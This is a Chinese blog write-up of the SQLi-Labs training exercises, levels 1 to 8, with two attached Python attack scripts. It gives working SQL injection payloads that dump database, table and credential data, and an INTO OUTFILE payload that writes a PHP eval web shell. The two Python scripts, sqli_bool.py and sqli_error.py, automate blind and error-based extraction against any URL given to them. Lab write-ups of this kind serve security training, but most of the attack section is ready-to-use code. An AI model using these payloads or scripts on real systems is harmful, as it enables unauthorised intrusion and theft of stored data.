SQLi Labs writeup (附py脚本)

less-1GET – 报错注入 – 单引号 – 字符型
PHP代码为:
SELECT * FROM users WHERE id='$id' LIMIT 0,1

SQL实际语句为:
SELECT * FROM users WHERE id='1' LIMIT 0,1;


1、判断注入
?id=1             

正常
?id=1'         

                                      
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 1
?id=1' --+


正常
说明可以注释后面语句 并且是字符型注入
SQL实际语句为:
SELECT * FROM users WHERE id='1' -- ' LIMIT 0,1


2、猜解字段数
?id=1' order by 4 --+


Unknown column '4' in 'order clause'

?id=1' order by 3 --+
正常
查询了3个字段
注:order by n                                         猜解执行sql语句的字段个数(并不一定是表里所有的字段数)
3、查找显示位
?id=1' order by 3 --+

Your Login name:2
Your Password:3

SQL实际语句为:
SELECT * FROM users WHERE id='-1' union select 1,2,3 -- LIMIT 0,1;




注:--为注释符 后面的加号+ 被浏览器 php脚本转化为空格
4、利用information_schema 查数据库、表名
tables表:
查询所有数据库
?id=-1' union select 1,2,group_concat(distinct+table_schema) from information_schema.tables --+

sql实际语句:

SELECT * FROM users WHERE id='-1' union select 1,2,group_concat(distinct+table_schema) from information_schema.tables -- LIMIT 0,1;

查询数据库里的表

一条一条查
?id=-1' union select 1,table_schema,table_name from information_schema.tables where table_schema=0x7365637572697479 limit 0,1 --+


?id=-1' union select 1,table_schema,table_name from information_schema.tables where table_schema=0x7365637572697479 limit 1,1 --+

.......
注:table_schema=数据库名字的十六进制

查询所有表

-1' union select 1,2,group_concat(distinct+table_name) from information_schema.TABLES --+


注:group_concat()多条信息一次查询 distinct去重

columns表
          查看security数据库里的表名
?id=-1' union select 1,2,group_concat(distinct+table_name, 0x20) from information_schema.columns where table_schema=0x7365637572697479 --+


Your Login name:2

Your Password:emails ,referers ,uagents ,users



查看users表的字段名

?id=-1' union select 1,2,group_concat(COLUMN_NAME,0x20) from information_schema.columns where table_schema=0x7365637572697479 and table_name=0x7573657273 --+





SQL实际语句为:

SELECT * FROM users WHERE id='-1' union select 1,2,group_concat(COLUMN_NAME, 0x20) from information_schema.columns where table_schema=security and TABLE_NAME=users



查看users表里username password字段值
?id=-1' union select 1,group_concat(username,0x20),group_concat(password,0x20) from users --+


           


=======================================================
关于group_concat()、concat()

group_concat()                        将列进行合并合为一列
select group_concat(id,username) from users;


+--------------------------------------------------------------------------------------------------------------+
| group_concat(id,username)                                                                                        |
+--------------------------------------------------------------------------------------------------------------+
| 1Dumb,2Angelina,3Dummy,4secure,5stupid,6superman,7batman,8admin,9admin1,10admin2,11admin3,12dhakkan,14admin4 |

+--------------------------------------------------------------------------------------------------------------+

=======================================================

concat()                                连接两个或多个数组但是不为一列
select concat(id,username) from users;
+---------------------+
| concat(id,username) |
+---------------------+
| 1Dumb               |
| 2Angelina           |
| 3Dummy              |
| 4secure             |
| 5stupid             |
| 6superman           |
| 7batman             |
| 8admin              |
| 9admin1             |
| 10admin2            |
| 11admin3            |
| 12dhakkan           |
| 14admin4            |

+---------------------+


=======================================================

less-2GET – 报错注入  – int型

?id=-1' --+


报错
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' --  LIMIT 0,1' at line 1




?id=1\


You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\ LIMIT 0,1' at line 1


说明语句中不存在引号
是int型注入
与less1 类似 去掉单引号' 即可
?id=-1 union select 1,2,group_concat(distinct+table_schema) from information_schema.TABLES --+





?id=-1 union  select 1,group_concat(username,0x20),group_concat(password,0x20) from users --+



less-3GET –报错-单引号括号-字符型注入
?id=1\


You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1\') LIMIT 0,1' at line 1
?id=1' )--+


正常
方法同一
?id=-1') union  select 1,group_concat(username,0x20),group_concat(password,0x20) from users --+



less-4GET –报错-双引号括号-字符型注入
?id=1\


You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"1\") LIMIT 0,1' at line 1

?id=1')--+

正常
方法同一
?id=-1") union  select 1,group_concat(username,0x20),group_concat(password,0x20) from users --+



less-5 GET-没有显示位的报错注入-单引号
?id=1\


You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1\' LIMIT 0,1' at line 1
?id=1


You are in...........
没有显示位的报错注入, 如果web页面使用mysql_error()函数来显示错误,就可以利用错误提示来注入

这种类型的注入无法使用union,我们需要使用特殊的函数,如果你不熟悉,请在操作前,先学习一下.

Rand()

Floor()

Count()

extractvalue(最长32位)

UpdateXml(最长32位)

查看数据库名

?id=1'
+and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,table_schema,0x7e) FROM information_schema.tables LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
--+



查看表名
?id=1'
+and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,table_schema,0x7e) FROM information_schema.tables LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
--+




查字段
?id=1'
+and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,column_name,0x7e) FROM information_schema.columns where table_name=0x656d61696c73 LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
--+



查数据
?id=1'
+and(select 1 from(select count(*),concat((select (select ( select concat(0x7e7e3a7e7e,id, 0x20,email_id,0x7e7e3a7e7e) from security.emails limit 0,1
)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
--+




写脚本批量处理之



less-6 GET-没有显示位的报错注入-双引号
?id=1\


You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"1\" LIMIT 0,1' at line 1


类似less-5
less-7 GET - 导出文件-字符型注入

?id=1\


没有报错信息
?id=1' --+


报错
尝试很多次都不行,只能查看源代码后构造
?id=1')) union select 1,2,'<?php @eval($_POST["test"]);?>' into outfile '/tmp/123.php' --+






less 8 GET - Blind - Boolian Based - Single Quotes (布尔型单引号GET盲注)
发现加个单引号跟没加显示不一样,加了单引号连you are in都不显示了,没有报错,所以只能用盲注判断了
盲注需要掌握一些MySQL的相关函数:
length(str):返回str字符串的长度。

substr(str, pos, len):将str从pos位置开始截取len长度的字符进行返回。注意这里的pos位置是从1开始的,不是数组的0开始
mid(str,pos,len):跟上面的一样,截取字符串
ascii(str):返回字符串str的最左面字符的ASCII代码值。
ord(str):同上,返回ascii码
if(a,b,c) :a为条件,a为true,返回b,否则返回c,如if(1>2,1,0),返回0

判断表存在不存在
=================================
?id=1' and exists(select * from information_schema.tables) --+


判断version()返回字符串 长度
=======================================
?id=1' and (select length(version()))=6 --+



判断有多少个库
=======================================
select count(distinct+table_schema) from information_schema.tables


手注太慢,我们想到了写脚本~


附录python脚本
sqli_bool.py


from optparse import OptionParser

import sys
import logging
import hashlib
import requests
import binascii

def setLog():
        logger = logging.getLogger("sqli_bool")
        logger.setLevel(logging.DEBUG)
        # create console handler and set level to debug
        ch = logging.StreamHandler()
        ch.setLevel(logging.DEBUG)
        # create formatter
        formatter = logging.Formatter("%(asctime)s - %(name)s - %(levelname)s - %(message)s")
        # add formatter to ch
        ch.setFormatter(formatter)
        # add ch to logger
        logger.addHandler(ch)


def parser():
        parser = OptionParser()
        parser.add_option("--dbs", action="store_true", dest="dbs", default=False, help="Fetch All The Databases.")  
        parser.add_option("--tables", action="store_true", dest="tables", default=False, help="Fetch All The Tables in a Database.")
        parser.add_option("--columns", action="store_true", dest="columns", default=False, help="Fetch All The Columns in a Table.")
        parser.add_option("--dump", action="store_true", dest="dump", default=False, help="Dump All Data in a Table.")

        parser.add_option("-D", "--db_name", type="string", dest="db_name", help="Database Name.")
        parser.add_option("-T", "--table_name", type="string", dest="table_name", help="Table Name.")
        parser.add_option("-C", "--column_name", type="string", dest="column_name", help="Column Name.")
        parser.add_option("--prefix", type="string", dest="prefix", help="SQL Inject Prefix.")
        parser.add_option("--suffix", type="string", dest="suffix", help="SQL Inject Suffix.")
        parser.add_option("-u", "--url", type="string", dest="url", help="url.")

        (options, args) = parser.parse_args(sys.argv)

        if options.url == None or not (options.dbs or options.tables or options.columns or options.dump):
                logger = logging.getLogger("sqli_bool")
                logger.warning("Argv are ERROR.")

        return options

def http_get(url):
        logger = logging.getLogger("sqli_bool")
        #logger.info(url)
        proxies = {'http': 'http://127.0.0.1:8080'}
        # return requests.get(url, proxies=proxies)
        return requests.get(url)

def get_md5(str):
        m2 = hashlib.md5()
        m2.update(str)   
        return m2.hexdigest()   

def guessing(init=0, step=10, flag=True, max=0, min=0):
        #time.sleep(0.1)
        #print "init: %d\tstep: %d\tflag: %d\tmax: %d\tmin: %d" % (init, step, flag, max, min)
        if flag:
                if step == 1 and init+step == max and max != 0:
                        return [init + 1, step, True]
                if max != 0:
                        init = init + (max - init)/2
                        step = (max-init)/2 if (max-init)/2 else 1
                else:
                        init = init + step
        else:
                if step == 1 and max == min+step:
                        return [init, step, True]
                init = init - step/2 if step/2 else init - 1
                init = init - (init-min)/2
                step = (init-min)/2 if (init-min)/2 else 1
        return [init, step, False]

def getContentCount(url, prefix, sql, suffix, success_md5):
        init, step, max, min = 0, 5, 0, 0
        while True:
                num_url = "%s%s and (%s) > %d %s" % (url, prefix, sql, init, suffix)
                print num_url
                html_md5 = get_md5(http_get(num_url).content)
                if html_md5 == success_md5:
                        min = init
                        init, step, success = guessing(init, step, True, max, min)
                else:
                        max = init
                        init, step, success = guessing(init, step, False, max, min)
                if success:
                        break
        return init

def getContentLength(url ,prefix, sql, suffix, success_md5):
        init, step, max, min = 0, 5, 0, 0
        while True:
                length_url = "%s%s and (select length((%s))) > %d %s" % (url, prefix, sql, init, suffix)
                html_md5 = get_md5(http_get(length_url).content)
                if html_md5 == success_md5:
                        min = init
                        init, step, success = guessing(init, step, True, max, min)
                else:
                        max = init
                        init, step, success = guessing(init, step, False, max, min)
                if success:
                        break
        return init

def getContent(url, prefix, sql, length, suffix, success_md5):
        name = ""
        for name_index in xrange(0,length):
                init, step, max, min = 63, 30, 0, 0
                while True:
                        name_chr_url = "%s%s  and ((select ascii(substr((%s), %d,1))) > %d) %s" % (url, prefix, sql, name_index+1, init, suffix)
                        html_md5 = get_md5(http_get(name_chr_url).content)
                        if html_md5 == success_md5:
                                min = init
                                init, step, success = guessing(init, step, True, max, min)
                        else:
                                max = init
                                init, step, success = guessing(init, step, False, max, min)
                        if success:
                                break
                name_chr = chr(init)
                name = name + name_chr
        return name

def showResult(result):
        max_len = 0
        for i in result:
                if len(i) > max_len:
                        max_len = len(i)
        print "-" * (max_len + 4)
        for i in result:
                print "| %s%s%s%s |" % ((max_len-len(i))/2*" ", i, (max_len-len(i))/2*" ", (max_len-len(i))%2*" ")
        print "-" * (max_len + 4)


def getAllDbs(url, prefix="", suffix=""):
        #  md5
        success_md5 = get_md5(http_get(url).content)
        
        # logger
        logger = logging.getLogger("sqli_bool")
        logger.info("success page md5: %s." % success_md5)
        logger_prefix = "Database"
        
        # get databases num
        sql = "select count(distinct+table_schema) from information_schema.tables"
        num = getContentCount(url, prefix, sql, suffix, success_md5)
        logger.info("%ss num: %d" % (logger_prefix, num))

        # get all databases name
        result = []
        for index in xrange(0, num):
                sql = "select distinct table_schema from information_schema.tables limit %d,1" % index
                name_length = getContentLength(url, prefix, sql, suffix, success_md5)
                logger.info("%s Name Length: %d" % (logger_prefix, name_length))
                name = getContent(url, prefix, sql, name_length, suffix, success_md5)
                logger.info("%s Name: %s" % (logger_prefix, name))
                result.append(name)

        return result



def getAllTables(url, db, prefix="", suffix=""):
        #  md5
        success_md5 = get_md5(http_get(url).content)

        # logger
        logger = logging.getLogger("sqli_bool")
        logger.info("success page md5: %s." % success_md5)
        logger_prefix = "Table"

        # get tables num
        sql = "select count(table_name) from information_schema.tables where table_schema=%s" % "0x" + binascii.b2a_hex(db)
        num = getContentCount(url, prefix, sql, suffix, success_md5)
        logger.info("%ss num: %d" % (logger_prefix, num))

        # get all tables name
        result = []
        for index in xrange(0, num):
                sql = "select table_name from information_schema.tables where table_schema=%s  limit %d,1" % ("0x"+binascii.b2a_hex(db), index)
                name_length = getContentLength(url, prefix, sql, suffix, success_md5)
                logger.info("%s Name Length: %d" % (logger_prefix, name_length))
                name = getContent(url, prefix, sql, name_length, suffix, success_md5)
                logger.info("%s Name: %s" % (logger_prefix, name))
                result.append(name)

        return result


def getAllColumns(url, db, table, prefix="", suffix=""):
        #  md5
        success_md5 = get_md5(http_get(url).content)

        # logger
        logger = logging.getLogger("sqli_bool")
        logger.info("success page md5: %s." % success_md5)
        logger_prefix = "Columns"

        #get columns num
        result = []
        sql = "select count(column_name) from information_schema.columns where table_schema=%s and table_name=%s" % ("0x"+binascii.b2a_hex(db), "0x"+binascii.b2a_hex(table))
        num = getContentCount(url, prefix, sql, suffix, success_md5)
        logger.info("%s num: %d" % (logger_prefix, num))

        # get all columns name
        for index in xrange(0, num):
                sql = "select column_name from information_schema.columns where table_schema=%s and table_name=%s  limit %d,1" % ("0x"+binascii.b2a_hex(db), "0x"+binascii.b2a_hex(table), index)
                name_length = getContentLength(url, prefix, sql, suffix, success_md5)
                logger.info("%s Name Length: %d" % (logger_prefix, name_length))
                name = getContent(url, prefix, sql, name_length, suffix, success_md5)
                logger.info("%s Name: %s" % (logger_prefix, name))
                result.append(name)

        return result

def getAllContent(url, db, table, columns, prefix="", suffix=""):
        #  md5
        success_md5 = get_md5(http_get(url).content)

        # logger
        logger = logging.getLogger("sqli_bool")
        logger.info("success page md5: %s." % success_md5)
        logger_prefix = "Content"

        #get columns num
        sql = "select count(concat(%s)) from %s.%s" % (columns, db, table)
        num = getContentCount(url, prefix, sql, suffix, success_md5)
        logger.info("%s num: %d" % (logger_prefix, num))

        # get all columns name
        result = []
        for index in xrange(0, num):
                sql = "select concat(%s) from %s.%s  limit %d,1" % (columns, db, table, index)
                name_length = getContentLength(url, prefix, sql, suffix, success_md5)
                logger.info("%s Length: %d" % (logger_prefix, name_length))
                name = getContent(url, prefix, sql, name_length, suffix, success_md5)
                logger.info("%s: %s" % (logger_prefix, name))
                result.append(name)

        return result

def main(options):
        result = []
        if options.dbs:
                result = getAllDbs(options.url, options.prefix, options.suffix)
        elif options.tables:
                result = getAllTables(options.url, options.db_name, options.prefix, options.suffix)
        elif options.columns:
                result = getAllColumns(options.url, options.db_name, options.table_name, options.prefix, options.suffix)
        elif options.dump:
                result = getAllContent(options.url, options.db_name, options.table_name, options.column_name, options.prefix, options.suffix)

        showResult(result)

if __name__ == '__main__':
        setLog()
        options = parser()
        main(options)



sqli_error.py

#!/usr/bin/env python
#coding=utf-8

import sys
import requests
import re
import binascii
#sys.argv[1]
# --dbs url
# --tables -D database url
# --columns -T tablename -D database url
# --dump -C columnname -T tablename -D database url

def http_get(url):
        proxies = {'http': 'http://127.0.0.1:8080'}
        #return requests.get(dbs_num_url, proxies=proxies)
        return requests.get(url)

def getAllDatabases(url):
        dbs_num_url = url + "'+and(select 1 from(select count(*),concat((select (select (select concat(0x7e7e3a7e7e, count(distinct+table_schema),0x7e7e3a7e7e) from information_schema.tables)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+ "
        resp = http_get(dbs_num_url)
        html = resp.content
        #print html
        # ~~:~~4~~:~~
        dbs_num = int(re.search(r'~~:~~(\d*?)~~:~~', html).group(1))
        print "+-------------------------------------------------+"
        print "数据库数量: %d" % dbs_num
        dbs = []
        print "+-------------------------------------------------+"
        print "数据库名: "
        for index in xrange(0,dbs_num):
                db_name_url = url + "'+and(select 1 from(select count(*),concat((select (select (select distinct concat(0x7e7e3a7e7e, table_schema, 0x7e7e3a7e7e) from information_schema.tables limit %d,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+" % index
                html = http_get(db_name_url).content
                db_name = re.search(r'~~:~~(.*?)~~:~~', html).group(1)
                dbs.append(db_name)
                print "\t%s" % db_name

def getAllTablesByDb(url, db_name):
        db_name_hex = "0x" + binascii.b2a_hex(db_name)
        tables_num_url = url + "'+and(select 1 from(select count(*),concat((select (select ( select concat(0x7e7e3a7e7e, count(table_name), 0x7e7e3a7e7e)  from information_schema.tables where table_schema=%s)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+" % db_name_hex
        html = http_get(tables_num_url).content
        tables_num = int(re.search(r'~~:~~(\d*?)~~:~~', html).group(1))
        print "+-------------------------------------------------+"
        print "%s 库中,表的数量: %d" % (db_name, tables_num)
        print "+-------------------------------------------------+"
        print "表名: "
        for index in xrange(0,tables_num):
                tables_name_url = url + "'+and(select 1 from(select count(*),concat((select (select ( select concat(0x7e7e3a7e7e, table_name, 0x7e7e3a7e7e) from information_schema.tables where table_schema=%s limit %d,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+" % (db_name_hex, index)
                html = http_get(tables_name_url).content
                table_name = re.search(r'~~:~~(.*?)~~:~~', html).group(1)
                print "\t%s" % table_name

def getAllColumnsByTable(url,db_name,table_name):
        db_name_hex = "0x" + binascii.b2a_hex(db_name)
        table_name_hex="0x"+binascii.b2a_hex(table_name)
        columns_num_url=url+"'+and(select 1 from(select count(*),concat((select (select ( select concat(0x7e7e3a7e7e,count(column_name),0x7e7e3a7e7e) from information_schema.columns where table_name=%s and table_schema=%s)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) --+" % (table_name_hex,db_name_hex)
        html = http_get(columns_num_url).content
        columns_num = int(re.search(r'~~:~~(.*?)~~:~~', html).group(1))
        print "+-------------------------------------------------+"
        print "%s 数据库中,%s 表,字段的数量: %d" % (db_name,table_name,columns_num)
        print "+-------------------------------------------------+"
        print "列名: "
        for index in xrange(0,columns_num):
                columns_name_url=url+"'+and(select 1 from(select count(*),concat((select (select ( select concat(0x7e7e3a7e7e,column_name,0x7e7e3a7e7e) from information_schema.columns where table_name=%s and table_schema=%s limit %d,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+" %(table_name_hex,db_name_hex,index)
                html = http_get(columns_name_url).content
                column_name=re.search(r'~~:~~(.*?)~~:~~', html).group(1)
                print "\t%s" % column_name
def getAllContent(url,db_name,table_name,column_name):
        data_num_url=url+"'+and(select 1 from(select count(*),concat((select (select ( select concat(0x7e7e3a7e7e,count(*),0x7e7e3a7e7e)from %s.%s)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+" %(db_name,table_name)
        html = http_get(data_num_url).content
        data_num = int(re.search(r'~~:~~(.*?)~~:~~', html).group(1))
        print "+-------------------------------------------------+"
        print "%s 数据库中,%s 表,有: %d条数据" % (db_name,table_name,data_num)
        print "+-------------------------------------------------+"
        column_style=column_name.replace(',','\t\t')
        print "\t"+column_style
        column_name=column_name.replace(',',',0x09,')
         
        for index in xrange(0,data_num):
                data_name_url=url+"'+and(select 1 from(select count(*),concat((select (select ( select concat(0x7e7e3a7e7e,%s,0x7e7e3a7e7e) from %s.%s limit %d,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+" %(column_name,db_name,table_name,index)
                html = http_get(data_name_url).content
                data=re.search(r'~~:~~(.*?)~~:~~', html).group(1)
                print "\t%s" % data

def main():
        if sys.argv[1] == '--dbs':
                getAllDatabases(sys.argv[2])
        elif sys.argv[1] == '--tables':
                getAllTablesByDb(sys.argv[4], sys.argv[3])
        elif sys.argv[1] == '--columns':
                getAllColumnsByTable(sys.argv[6],sys.argv[5],sys.argv[3])
        elif sys.argv[1] == '--dump':                #--dump -C column_name -T table_name -D db_name url
                getAllContent(sys.argv[8],sys.argv[7],sys.argv[5],sys.argv[3])
        else:
                print "我不懂你的参数!"

if __name__ == '__main__':
        main()





评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值